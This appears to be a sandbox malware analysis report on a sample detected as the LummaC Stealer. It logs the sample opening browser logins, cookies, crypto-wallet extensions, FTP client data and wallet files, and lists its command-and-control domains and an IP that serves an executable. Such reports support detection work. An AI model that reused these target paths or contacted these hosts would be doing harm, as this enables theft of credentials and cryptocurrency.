Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\FENIVHOIKN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior

Source: Yara match	File source: 00000000.00000003.1837908059.0000000000DC1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1763547491.0000000000DC4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1789605259.0000000000DC4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1763473029.0000000000DBE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1814476131.0000000000DD5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1813653561.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1838507084.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1837932016.0000000000DD5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1788475696.0000000000DC5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6860, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	11 Process Injection	34 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Process Injection	LSASS Memory	741 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	34 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://cook-rain.sbs/o	100%	Avira URL Cloud	malware
http://185.215.113.16/off/def.exeqX	100%	Avira URL Cloud	phishing
http://185.215.113.16/jr	100%	Avira URL Cloud	phishing
https://cook-rain.sbs/apiu	100%	Avira URL Cloud	malware
https://cook-rain.sbs/apivalue	100%	Avira URL Cloud	malware
https://cook-rain.sbs/.	100%	Avira URL Cloud	malware
https://cook-rain.sbs/apirvice	100%	Avira URL Cloud	malware
http://185.215.113.16/off/def.exemX	100%	Avira URL Cloud	phishing
https://cook-rain.sbs/9	100%	Avira URL Cloud	malware
https://cook-rain.sbs/C	100%	Avira URL Cloud	malware
https://cook-rain.sbs/apid	100%	Avira URL Cloud	malware
http://185.215.113.16/Er	100%	Avira URL Cloud	phishing
https://cook-rain.sbs/tP	100%	Avira URL Cloud	malware
https://cook-rain.sbs/%	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
cook-rain.sbs	104.21.66.38	true	false	high
www.google.com	216.58.208.228	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
peepburry828.sbs	false	high
p10tgrace.sbs	false	high
processhol.sbs	false	high
https://cook-rain.sbs/api	false	high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false	high
p3ar11fter.sbs	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_102.6.dr	false		high
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1764215214.00000000054BF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1764331781.00000000054A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1764215214.00000000054BF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1764331781.00000000054A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/C	file.exe, 00000000.00000003.1837908059.0000000000DC1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1838507084.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1837932016.0000000000DD5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_102.6.dr	false		high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000003.1817114587.0000000000DC0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_94.6.dr, chromecache_84.6.dr	false		high
https://cook-rain.sbs/apirvice	file.exe, 00000000.00000003.1812472132.0000000000DD5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1764215214.00000000054BF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1764331781.00000000054A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/9	file.exe, 00000000.00000003.1837908059.0000000000DC1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1838507084.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1837932016.0000000000DD5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	file.exe, 00000000.00000003.1763950622.00000000054E5000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1763866433.00000000054EC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Youssef1313	chromecache_102.6.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_94.6.dr, chromecache_84.6.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_94.6.dr, chromecache_84.6.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_84.6.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_94.6.dr, chromecache_84.6.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_102.6.dr	false		high
http://185.215.113.16/off/def.exemX	file.exe, 00000000.00000003.2017702605.0000000000D66000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_94.6.dr, chromecache_84.6.dr	false		high
http://185.215.113.16/off/def.exeqX	file.exe, 00000000.00000003.2017702605.0000000000D66000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_102.6.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000003.1817114587.0000000000DC0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.1814353640.00000000054AE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.1814353640.00000000054AE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_94.6.dr, chromecache_84.6.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_102.6.dr, chromecache_103.6.dr	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	file.exe, 00000000.00000003.1763950622.00000000054C0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.1764215214.00000000054BF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1764331781.00000000054A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://learn-video.azurefd.net/vod/player	chromecache_94.6.dr, chromecache_84.6.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_94.6.dr, chromecache_84.6.dr	false		high
https://github.com/gewarren	chromecache_102.6.dr	false		high
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.1816518420.00000000055BC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_94.6.dr, chromecache_84.6.dr	false		high
https://cook-rain.sbs/apivalue	file.exe, 00000000.00000003.1788518353.0000000000DD5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1788475696.0000000000DC5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
